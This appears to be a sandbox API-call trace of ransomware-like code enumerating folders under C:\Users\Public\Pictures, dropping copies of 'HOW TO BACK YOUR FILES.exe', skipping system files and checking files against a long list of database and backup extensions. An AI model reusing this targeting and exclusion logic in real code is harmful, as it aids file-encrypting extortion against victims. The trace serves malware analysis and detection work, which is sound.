	[0041.671] lstrcmpiW (lpString1="Sample Pictures", lpString2="windows") returned -1
	[0041.672] lstrcmpiW (lpString1="Sample Pictures", lpString2="bootmgr") returned 1
	[0041.672] lstrcmpiW (lpString1="Sample Pictures", lpString2="temp") returned -1
	[0041.672] lstrcmpiW (lpString1="Sample Pictures", lpString2="pagefile.sys") returned 1
	[0041.672] lstrcmpiW (lpString1="Sample Pictures", lpString2="boot") returned 1
	[0041.672] lstrcmpiW (lpString1="Sample Pictures", lpString2="ids.txt") returned 1
	[0041.672] lstrcmpiW (lpString1="Sample Pictures", lpString2="ntuser.dat") returned 1
	[0041.672] lstrcmpiW (lpString1="Sample Pictures", lpString2="perflogs") returned 1
	[0041.672] lstrcmpiW (lpString1="Sample Pictures", lpString2="MSBuild") returned 1
	[0041.672] lstrlenW (lpString="Sample Pictures") returned 15
	[0041.672] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\desktop.ini") returned 36
	[0041.672] lstrcpyW (in: lpString1=0x119e63a, lpString2="Sample Pictures" | out: lpString1="Sample Pictures") returned="Sample Pictures"
	[0041.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0041.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x598408
	[0041.672] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c10 | out: ListHead=0x5b75f0, ListEntry=0x5b7c10) returned 0x5b7bf0
	[0041.672] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2da40890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2da40890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0
	[0041.672] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0041.672] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c10
	[0041.672] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Pictures\\Sample Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures"
	[0041.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598408 | out: hHeap=0x580000) returned 1
	[0041.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0041.672] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures") returned 40
	[0041.672] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: lpString1="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures"
	[0041.672] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0041.672] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\pictures\\sample pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0041.673] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148
	[0041.673] GetLastError () returned 0x0
	[0041.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0041.673] ReadFile (in: hFile=0x148, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0041.673] CloseHandle (hObject=0x148) returned 1
	[0041.673] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0041.673] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0041.673] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2da40890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2da40890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0041.673] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0041.673] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0041.673] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0041.673] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2da40890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2da40890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.673] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0041.673] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0041.674] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0041.674] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0041.674] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".") returned 1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="..") returned 1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="windows") returned -1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="bootmgr") returned 1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="temp") returned -1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="pagefile.sys") returned -1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="boot") returned 1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="ids.txt") returned -1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="ntuser.dat") returned -1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="perflogs") returned -1
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="MSBuild") returned -1
	[0041.674] lstrlenW (lpString="Chrysanthemum.jpg") returned 17
	[0041.674] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\*") returned 42
	[0041.674] lstrcpyW (in: lpString1=0x119e65a, lpString2="Chrysanthemum.jpg" | out: lpString1="Chrysanthemum.jpg") returned="Chrysanthemum.jpg"
	[0041.674] lstrlenW (lpString="Chrysanthemum.jpg") returned 17
	[0041.674] lstrlenW (lpString="Apollon865") returned 10
	[0041.674] lstrcmpiW (lpString1="themum.jpg", lpString2="Apollon865") returned 1
	[0041.674] lstrlenW (lpString=".dll") returned 4
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".dll") returned 1
	[0041.674] lstrlenW (lpString=".lnk") returned 4
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".lnk") returned 1
	[0041.674] lstrlenW (lpString=".ini") returned 4
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".ini") returned 1
	[0041.674] lstrlenW (lpString=".sys") returned 4
	[0041.674] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".sys") returned 1
	[0041.674] lstrlenW (lpString="Chrysanthemum.jpg") returned 17
	[0041.674] lstrlenW (lpString="bak") returned 3
	[0041.674] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0041.674] lstrlenW (lpString="ba_") returned 3
	[0041.674] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0041.674] lstrlenW (lpString="dbb") returned 3
	[0041.674] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0041.675] lstrlenW (lpString="vmdk") returned 4
	[0041.675] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0041.675] lstrlenW (lpString="rar") returned 3
	[0041.675] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0041.675] lstrlenW (lpString="zip") returned 3
	[0041.675] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0041.675] lstrlenW (lpString="tgz") returned 3
	[0041.675] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0041.675] lstrlenW (lpString="vbox") returned 4
	[0041.675] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0041.675] lstrlenW (lpString="vdi") returned 3
	[0041.675] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0041.675] lstrlenW (lpString="vhd") returned 3
	[0041.675] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0041.675] lstrlenW (lpString="vhdx") returned 4
	[0041.675] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0041.675] lstrlenW (lpString="avhd") returned 4
	[0041.675] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0041.675] lstrlenW (lpString="db") returned 2
	[0041.675] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0041.675] lstrlenW (lpString="db2") returned 3
	[0041.675] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0041.675] lstrlenW (lpString="db3") returned 3
	[0041.675] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0041.675] lstrlenW (lpString="dbf") returned 3
	[0041.675] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0041.675] lstrlenW (lpString="mdf") returned 3
	[0041.675] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0041.675] lstrlenW (lpString="mdb") returned 3
	[0041.675] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0041.675] lstrlenW (lpString="sql") returned 3
	[0041.675] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0041.675] lstrlenW (lpString="sqlite") returned 6
	[0041.675] lstrcmpiW (lpString1="um.jpg", lpString2="sqlite") returned 1
	[0041.675] lstrlenW (lpString="sqlite3") returned 7
	[0041.675] lstrcmpiW (lpString1="mum.jpg", lpString2="sqlite3") returned -1
	[0041.675] lstrlenW (lpString="sqlitedb") returned 8
	[0041.675] lstrcmpiW (lpString1="emum.jpg", lpString2="sqlitedb") returned -1
	[0041.675] lstrlenW (lpString="xml") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0041.676] lstrlenW (lpString="$er") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0041.676] lstrlenW (lpString="4dd") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0041.676] lstrlenW (lpString="4dl") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0041.676] lstrlenW (lpString="^^^") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0041.676] lstrlenW (lpString="abs") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0041.676] lstrlenW (lpString="abx") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0041.676] lstrlenW (lpString="accdb") returned 5
	[0041.676] lstrcmpiW (lpString1="m.jpg", lpString2="accdb") returned 1
	[0041.676] lstrlenW (lpString="accdc") returned 5
	[0041.676] lstrcmpiW (lpString1="m.jpg", lpString2="accdc") returned 1
	[0041.676] lstrlenW (lpString="accde") returned 5
	[0041.676] lstrcmpiW (lpString1="m.jpg", lpString2="accde") returned 1
	[0041.676] lstrlenW (lpString="accdr") returned 5
	[0041.676] lstrcmpiW (lpString1="m.jpg", lpString2="accdr") returned 1
	[0041.676] lstrlenW (lpString="accdt") returned 5
	[0041.676] lstrcmpiW (lpString1="m.jpg", lpString2="accdt") returned 1
	[0041.676] lstrlenW (lpString="accdw") returned 5
	[0041.676] lstrcmpiW (lpString1="m.jpg", lpString2="accdw") returned 1
	[0041.676] lstrlenW (lpString="accft") returned 5
	[0041.676] lstrcmpiW (lpString1="m.jpg", lpString2="accft") returned 1
	[0041.676] lstrlenW (lpString="adb") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0041.676] lstrlenW (lpString="adb") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0041.676] lstrlenW (lpString="ade") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0041.676] lstrlenW (lpString="adf") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0041.676] lstrlenW (lpString="adn") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0041.676] lstrlenW (lpString="adp") returned 3
	[0041.676] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0041.677] lstrlenW (lpString="alf") returned 3
	[0041.677] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0041.677] lstrlenW (lpString="ask") returned 3
	[0041.677] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0041.677] lstrlenW (lpString="btr") returned 3
	[0041.677] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0041.677] lstrlenW (lpString="cat") returned 3
	[0041.677] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0041.677] lstrlenW (lpString="cdb") returned 3
	[0041.677] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0041.677] lstrlenW (lpString="ckp") returned 3
	[0041.677] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0041.677] lstrlenW (lpString="cma") returned 3
	[0041.677] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0041.677] lstrlenW (lpString="cpd") returned 3
	[0041.677] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0041.677] lstrlenW (lpString="dacpac") returned 6
	[0041.677] lstrcmpiW (lpString1="um.jpg", lpString2="dacpac") returned 1
	[0041.677] lstrlenW (lpString="dad") returned 3
	[0041.677] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0041.677] lstrlenW (lpString="dadiagrams") returned 10
	[0041.677] lstrcmpiW (lpString1="themum.jpg", lpString2="dadiagrams") returned 1
	[0041.677] lstrlenW (lpString="daschema") returned 8
	[0041.677] lstrcmpiW (lpString1="emum.jpg", lpString2="daschema") returned 1
	[0041.677] lstrlenW (lpString="db-journal") returned 10
	[0041.677] lstrcmpiW (lpString1="themum.jpg", lpString2="db-journal") returned 1
	[0041.677] lstrlenW (lpString="db-shm") returned 6
	[0041.677] lstrcmpiW (lpString1="um.jpg", lpString2="db-shm") returned 1
	[0041.677] lstrlenW (lpString="db-wal") returned 6
	[0041.677] lstrcmpiW (lpString1="um.jpg", lpString2="db-wal") returned 1
	[0041.677] lstrlenW (lpString="dbc") returned 3
	[0041.677] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0041.677] lstrlenW (lpString="dbs") returned 3
	[0041.677] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0041.677] lstrlenW (lpString="dbt") returned 3
	[0041.677] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0041.677] lstrlenW (lpString="dbv") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0041.678] lstrlenW (lpString="dbx") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0041.678] lstrlenW (lpString="dcb") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0041.678] lstrlenW (lpString="dct") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0041.678] lstrlenW (lpString="dcx") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0041.678] lstrlenW (lpString="ddl") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0041.678] lstrlenW (lpString="dlis") returned 4
	[0041.678] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0041.678] lstrlenW (lpString="dp1") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0041.678] lstrlenW (lpString="dqy") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0041.678] lstrlenW (lpString="dsk") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0041.678] lstrlenW (lpString="dsn") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0041.678] lstrlenW (lpString="dtsx") returned 4
	[0041.678] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0041.678] lstrlenW (lpString="dxl") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0041.678] lstrlenW (lpString="eco") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0041.678] lstrlenW (lpString="ecx") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0041.678] lstrlenW (lpString="edb") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0041.678] lstrlenW (lpString="epim") returned 4
	[0041.678] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0041.678] lstrlenW (lpString="fcd") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0041.678] lstrlenW (lpString="fdb") returned 3
	[0041.678] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0041.678] lstrlenW (lpString="fic") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0041.679] lstrlenW (lpString="flexolibrary") returned 12
	[0041.679] lstrcmpiW (lpString1="anthemum.jpg", lpString2="flexolibrary") returned -1
	[0041.679] lstrlenW (lpString="fm5") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0041.679] lstrlenW (lpString="fmp") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0041.679] lstrlenW (lpString="fmp12") returned 5
	[0041.679] lstrcmpiW (lpString1="m.jpg", lpString2="fmp12") returned 1
	[0041.679] lstrlenW (lpString="fmpsl") returned 5
	[0041.679] lstrcmpiW (lpString1="m.jpg", lpString2="fmpsl") returned 1
	[0041.679] lstrlenW (lpString="fol") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0041.679] lstrlenW (lpString="fp3") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0041.679] lstrlenW (lpString="fp4") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0041.679] lstrlenW (lpString="fp5") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0041.679] lstrlenW (lpString="fp7") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0041.679] lstrlenW (lpString="fpt") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0041.679] lstrlenW (lpString="frm") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0041.679] lstrlenW (lpString="gdb") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0041.679] lstrlenW (lpString="gdb") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0041.679] lstrlenW (lpString="grdb") returned 4
	[0041.679] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0041.679] lstrlenW (lpString="gwi") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0041.679] lstrlenW (lpString="hdb") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0041.679] lstrlenW (lpString="his") returned 3
	[0041.679] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0041.679] lstrlenW (lpString="ib") returned 2
	[0041.679] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0041.680] lstrlenW (lpString="idb") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0041.680] lstrlenW (lpString="ihx") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0041.680] lstrlenW (lpString="itdb") returned 4
	[0041.680] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0041.680] lstrlenW (lpString="itw") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0041.680] lstrlenW (lpString="jet") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0041.680] lstrlenW (lpString="jtx") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0041.680] lstrlenW (lpString="kdb") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0041.680] lstrlenW (lpString="kexi") returned 4
	[0041.680] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0041.680] lstrlenW (lpString="kexic") returned 5
	[0041.680] lstrcmpiW (lpString1="m.jpg", lpString2="kexic") returned 1
	[0041.680] lstrlenW (lpString="kexis") returned 5
	[0041.680] lstrcmpiW (lpString1="m.jpg", lpString2="kexis") returned 1
	[0041.680] lstrlenW (lpString="lgc") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0041.680] lstrlenW (lpString="lwx") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0041.680] lstrlenW (lpString="maf") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0041.680] lstrlenW (lpString="maq") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0041.680] lstrlenW (lpString="mar") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0041.680] lstrlenW (lpString="marshal") returned 7
	[0041.680] lstrcmpiW (lpString1="mum.jpg", lpString2="marshal") returned 1
	[0041.680] lstrlenW (lpString="mas") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0041.680] lstrlenW (lpString="mav") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0041.680] lstrlenW (lpString="maw") returned 3
	[0041.680] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0041.681] lstrlenW (lpString="mdbhtml") returned 7
	[0041.681] lstrcmpiW (lpString1="mum.jpg", lpString2="mdbhtml") returned 1
	[0041.681] lstrlenW (lpString="mdn") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0041.681] lstrlenW (lpString="mdt") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0041.681] lstrlenW (lpString="mfd") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0041.681] lstrlenW (lpString="mpd") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0041.681] lstrlenW (lpString="mrg") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0041.681] lstrlenW (lpString="mud") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0041.681] lstrlenW (lpString="mwb") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0041.681] lstrlenW (lpString="myd") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0041.681] lstrlenW (lpString="ndf") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0041.681] lstrlenW (lpString="nnt") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0041.681] lstrlenW (lpString="nrmlib") returned 6
	[0041.681] lstrcmpiW (lpString1="um.jpg", lpString2="nrmlib") returned 1
	[0041.681] lstrlenW (lpString="ns2") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0041.681] lstrlenW (lpString="ns3") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0041.681] lstrlenW (lpString="ns4") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0041.681] lstrlenW (lpString="nsf") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0041.681] lstrlenW (lpString="nv") returned 2
	[0041.681] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0041.681] lstrlenW (lpString="nv2") returned 3
	[0041.681] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0041.681] lstrlenW (lpString="nwdb") returned 4
	[0041.682] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0041.682] lstrlenW (lpString="nyf") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0041.682] lstrlenW (lpString="odb") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0041.682] lstrlenW (lpString="odb") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0041.682] lstrlenW (lpString="oqy") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0041.682] lstrlenW (lpString="ora") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0041.682] lstrlenW (lpString="orx") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0041.682] lstrlenW (lpString="owc") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0041.682] lstrlenW (lpString="p96") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0041.682] lstrlenW (lpString="p97") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0041.682] lstrlenW (lpString="pan") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0041.682] lstrlenW (lpString="pdb") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0041.682] lstrlenW (lpString="pdm") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0041.682] lstrlenW (lpString="pnz") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0041.682] lstrlenW (lpString="qry") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
